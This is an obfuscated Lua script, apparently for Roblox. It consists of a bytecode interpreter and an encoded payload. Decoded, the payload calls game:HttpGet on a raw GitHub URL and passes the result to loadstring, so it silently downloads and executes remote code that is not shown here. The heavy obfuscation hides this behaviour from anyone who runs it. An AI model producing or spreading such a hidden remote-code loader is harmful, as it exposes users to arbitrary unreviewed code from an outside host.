-- [[ obfuscated ]] -- local v0=tonumber;local v1=string.byte;local v2=string.char;local v3=string.sub;local v4=string.gsub;local v5=string.rep;local v6=table.concat;local v7=table.insert;local v8=math.ldexp;local v9=getfenv or function() return _ENV;end ;local v10=setmetatable;local v11=pcall;local v12=select;local v13=unpack or table.unpack ;local v14=tonumber;local function v15(v16,v17,...) local v18=1;local v19;v16=v4(v3(v16,5),"..",function(v30) if (v1(v30,2)==81) then local v85=0;while true do if (v85==0) then v19=v0(v3(v30,1,1));return "";end end else local v86=0;local v87;while true do if (v86==0) then v87=v2(v0(v30,16));if v19 then local v129=v5(v87,v19);v19=nil;return v129;else return v87;end break;end end end end);local function v20(v31,v32,v33) if v33 then local v88=0;local v89;while true do if (v88==(0 -0)) then v89=(v31/((5 -3)^(v32-((878 -(282 + 595)) -0))))%(2^(((v33-(2 -1)) -(v32-(620 -(555 + 64)))) + (932 -(857 + 74)))) ;return v89-(v89%(569 -((2004 -(1523 + 114)) + 201))) ;end end else local v90=(929 -(214 + 713))^(v32-1) ;return (((v31%(v90 + v90))>=v90) and (1 + 0)) or (0 + 0) ;end end local function v21() local v34=v1(v16,v18,v18);v18=v18 + 1 ;return v34;end local function v22() local v35,v36=v1(v16,v18,v18 + 2 + 0 );v18=v18 + (2 -0) ;return (v36 * (1321 -(68 + 997))) + v35 ;end local function v23() local v37,v38,v39,v40=v1(v16,v18,v18 + (1273 -(226 + 1044)) );v18=v18 + ((17 + 0) -13) ;return (v40 * 16777216) + (v39 * (65653 -(32 + 85))) + (v38 * (57 + 199)) + v37 ;end local function v24() local v41=v23();local v42=v23();local v43=(2095 -1137) -(892 + 65) ;local v44=(v20(v42,1,47 -27 ) * ((3 -1)^(58 -26))) + v41 ;local v45=v20(v42,371 -(87 + 263) ,211 -(12 + 55 + (200 -87)) );local v46=((v20(v42,24 + 8 )==((2 + 0) -1)) and -1) or (1 + 0) ;if (v45==(0 -0)) then if (v44==(952 -(802 + 150))) then return v46 * (0 -(791 -(368 + 423))) ;else local v117=0 -0 ;while true do if (v117==(0 + (0 -0))) then v45=998 -(915 + 82) ;v43=(18 -(10 + 8)) -0 ;break;end end end elseif (v45==(1193 + 854)) then return ((v44==(0 -0)) and (v46 * (1/(1187 -(1069 + 118))))) or (v46 * NaN) ;end return v8(v46,v45-1023 ) * (v43 + (v44/((7 -5)^(117 -65)))) ;end local function v25(v47) local v48;if not v47 then local v91=0;while true do if (v91==(442 -(416 + 26))) then v47=v23();if (v47==(0 -0)) then return "";end break;end end end v48=v3(v16,v18,(v18 + v47) -(3 -2) );v18=v18 + v47 ;local v49={};for v66=1 + 0 , #v48 do v49[v66]=v2(v1(v3(v48,v66,v66)));end return v6(v49);end local v26=v23;local function v27(...) return {...},v12("#",...);end local function v28() local v50=(function() return function(v92,v93,v94,v95,v96,v97,v98,v99) local v92=(function() return 0 + 0 ;end)();local v93=(function() return;end)();local v95=(function() return;end)();while true do if (v92==0) then local v122=(function() return 0;end)();local v123=(function() return;end)();while true do if (v122~=0) then else v123=(function() return 0 -0 ;end)();while true do if (v123~=(0 -0)) then else v93=(function() return v94();end)();v95=(function() return nil;end)();v123=(function() return 1;end)();end if (v123==1) then v92=(function() return #"!";end)();break;end end break;end end end if (v92== #"!") then if (v93== #"~") then v95=(function() return v94()~=0 ;end)();elseif (v93==2) then v95=(function() return v96();end)();elseif (v93== #"gha") then v95=(function() return v97();end)();end v98[v99]=(function() return v95;end)();break;end end return v92,v93,v94,v95,v96,v97,v98,v99;end;end)();local v51=(function() return function(v100,v101,v102,v103,v104,v105,v106,v107,v108) local v109=(function() return 0;end)();local v100=(function() return;end)();local v101=(function() return;end)();while true do if (v109==0) then local v125=(function() return 0 + 0 ;end)();while true do if (1~=v125) then else v109=(function() return 1;end)();break;end if ((0 -0)==v125) then v100=(function() return 0 + 0 ;end)();v101=(function() return nil;end)();v125=(function() return 1475 -(1329 + 145) ;end)();end end end if ((972 -(140 + 831))==v109) then local v126=(function() return 0;end)();while true do if ((1850 -(1409 + 441))==v126) then local v130=(function() return 718 -(15 + 703) ;end)();while true do if (v130~=0) then else while true do if ((0 + 0)~=v100) then else v101=(function() return v102();end)();if (v103(v101, #"!", #":")==(438 -(262 + 176))) then local v166=(function() return 0;end)();local v167=(function() return;end)();local v168=(function() return;end)();local v169=(function() return;end)();while true do if (v166==1) then local v184=(function() return 1721 -(345 + 1376) ;end)();while true do if (0==v184) then v169=(function() return {v104(),v104(),nil,nil};end)();if (v167==0) then local v189=(function() return 0;end)();local v190=(function() return;end)();while true do if (v189==(0 -0)) then v190=(function() return 0 -0 ;end)();while true do if ((1206 -(696 + 510))~=v190) then else v169[ #"xxx"]=(function() return v104();end)();v169[ #".com"]=(function() return v104();end)();break;end end break;end end elseif (v167== #"!") then v169[ #"xxx"]=(function() return v105();end)();elseif (v167==(3 -1)) then v169[ #"asd"]=(function() return v105() -(2^16) ;end)();elseif (v167== #"asd") then local v195=(function() return 1262 -(1091 + 171) ;end)();local v196=(function() return;end)();while true do if (v195==0) then v196=(function() return 0 + 0 ;end)();while true do if (v196~=(0 -0)) then else v169[ #"xnx"]=(function() return v105() -((6 -4)^(390 -(123 + 251))) ;end)();v169[ #"http"]=(function() return v104();end)();break;end end break;end end end v184=(function() return 1;end)();end if (v184==1) then v166=(function() return 9 -7 ;end)();break;end end end if (v166==0) then v167=(function() return v103(v101,700 -(208 + 490) , #"gha");end)();v168=(function() return v103(v101, #"asd1",1 + 5 );end)();v166=(function() return 1 + 0 ;end)();end if ((838 -(660 + 176))==v166) then if (v103(v168, #"[", #"}")== #">") then v169[1 + 1 ]=(function() return v106[v169[2]];end)();end if (v103(v168,204 -(14 + 188) ,677 -(534 + 141) )~= #"]") then else v169[ #"91("]=(function() return v106[v169[ #"xxx"]];end)();end v166=(function() return 2 + 1 ;end)();end if (v166~=3) then else if (v103(v168, #"91(", #"xnx")~= #"~") then else v169[ #"0313"]=(function() return v106[v169[ #"0836"]];end)();end v107[v108]=(function() return v169;end)();break;end end end break;end end return v100,v101,v102,v103,v104,v105,v106,v107,v108;end end end end end end end;end)();local v52=(function() return function(v110,v111,v112) local v113=(function() return 0;end)();local v114=(function() return;end)();while true do if (v113==(0 + 0)) then v114=(function() return 0 + 0 ;end)();while true do if (v114==(0 -0)) then local v131=(function() return 0 -0 ;end)();while true do if (v131~=0) then else v110[v111-#"\\" ]=(function() return v112();end)();return v110,v111,v112;end end end end break;end end end;end)();local v53=(function() return {};end)();local v54=(function() return {};end)();local v55=(function() return {};end)();local v56=(function() return {v53,v54,nil,v55};end)();local v57=(function() return v23();end)();local v58=(function() return {};end)();for v68= #",",v57 do FlatIdent_39B0,Type,v21,Cons,v24,v25,v58,v68=(function() return v50(FlatIdent_39B0,Type,v21,Cons,v24,v25,v58,v68);end)();end v56[ #"-19"]=(function() return v21();end)();for v69= #"[",v23() do FlatIdent_324DE,Descriptor,v21,v20,v22,v23,v58,v53,v69=(function() return v51(FlatIdent_324DE,Descriptor,v21,v20,v22,v23,v58,v53,v69);end)();end for v70= #"!",v23() do v54,v70,v28=(function() return v52(v54,v70,v28);end)();end return v56;end local function v29(v60,v61,v62) local v63=v60[(1289 -(993 + 295)) + 0 ];local v64=v60[2 + 0 ];local v65=v60[399 -(115 + 281) ];return function(...) local v71=v63;local v72=v64;local v73=v65;local v74=v27;local v75=(1 + 1) -1 ;local v76= -(1 + 0);local v77={};local v78={...};local v79=v12("#",...) -(2 -1) ;local v80={};local v81={};for v115=0 -0 ,v79 do if ((235<687) and (v115>=v73)) then v77[v115-v73 ]=v78[v115 + 1 ];else v81[v115]=v78[v115 + (868 -(550 + 317)) ];end end local v82=(v79-v73) + (1 -0) ;local v83;local v84;while true do local v116=0 -(1171 -(418 + 753)) ;while true do if ((2 -1)==v116) then if ((v84<=7) or (2693<=1135)) then if (v84<=(288 -(134 + 58 + 93))) then if (v84<=(1666 -(970 + 695))) then if (v84==(0 -0)) then v81[v83[1992 -(582 + 1408) ]]=v62[v83[10 -7 ]];else do return;end end elseif ((4549>1153) and (41<1661) and (v84>(2 -0))) then local v135=v83[7 -5 ];local v136,v137=v74(v81[v135](v13(v81,v135 + (1825 -(1195 + 65 + 564)) ,v83[3 -0 ])));v76=(v137 + v135) -1 ;local v138=241 -(187 + 54) ;for v161=v135,v76 do v138=v138 + 1 ;v81[v161]=v136[v138];end else v81[v83[(229 + 553) -(162 + 618) ]]=v83[3 + 0 ];end elseif (v84<=5) then if (v84==(3 + 1)) then v81[v83[3 -(1 + 0) ]]={};else v81[v83[2]]();end elseif ((v84>(9 -(532 -(406 + 123)))) or (4674<4672)) then do return;end else local v142=0 + 0 ;local v143;while true do if (0==v142) then v143=v83[2];v81[v143]=v81[v143](v13(v81,v143 + (1637 -(1373 + 263)) ,v76));break;end end end elseif (v84<=(1011 -(451 + 549))) then if (v84<=(3 + 6)) then if (v84>(11 -3)) then v81[v83[2 -0 ]]={};else local v145=v83[2];v81[v145]=v81[v145](v13(v81,v145 + ((3154 -(1749 + 20)) -(746 + 638)) ,v76));end elseif ((3668<4561) and (v84==(4 + 6))) then local v147=0;local v148;local v149;while true do if (v147==((1 + 0) -0)) then v81[v148 + (342 -(218 + 123)) ]=v149;v81[v148]=v149[v83[(2907 -(1249 + 73)) -(548 + 987 + 46) ]];break;end if (v147==0) then v148=v83[2 + 0 ];v149=v81[v83[1 + 2 ]];v147=561 -(306 + 254) ;end end else local v150=0 + 0 ;local v151;local v152;while true do if (v150==1) then v81[v151 + (1 -0) ]=v152;v81[v151]=v152[v83[4]];break;end if (v150==(1467 -(899 + 568))) then v151=v83[2 + 0 ];v152=v81[v83[3]];v150=2 -1 ;end end end elseif (((601<3560) and (v84<=(616 -(268 + 335)))) or (455==3605)) then if (v84==(302 -((1205 -(466 + 679)) + 230))) then v81[v83[574 -(426 + 146) ]]=v83[1 + 2 ];else v81[v83[1458 -(282 + 1174) ]]=v62[v83[814 -((1368 -799) + 242) ]];end elseif (v84==14) then v81[v83[5 -3 ]]();else local v157=v83[1 + (2 -1) ];local v158,v159=v74(v81[v157](v13(v81,v157 + (1025 -(706 + 318)) ,v83[1254 -(721 + 530) ])));v76=(v159 + v157) -(1272 -((2845 -(106 + 1794)) + 326)) ;local v160=(0 + 0) -0 ;for v164=v157,v76 do local v165=0 + 0 ;while true do if (((700 -(271 + 429))==v165) or (2663==3312)) then v160=v160 + 1 + 0 ;v81[v164]=v158[v160];break;end end end end v75=v75 + (1501 -(1408 + 24 + 68)) ;break;end if (v116==(1086 -((1360 -899) + 625))) then v83=v71[v75];v84=v83[1];v116=1;end end end end;end return v29(v28(),{},v17)(...);end return v15("LOL!043Q00030A3Q006C6F6164737472696E6703043Q0067616D6503073Q00482Q7470476574033E3Q00682Q7470733A2Q2F7261772E67697468756275736572636F6E74656E742E636F6D2F5245463832392F2Q732F726566732F68656164732F6D61696E2F763100094Q00097Q00122Q000100013Q00122Q000200023Q00200B00020002000300120C000400044Q000F000200044Q000600013Q00022Q00050001000100012Q00013Q00017Q00",v9(),...);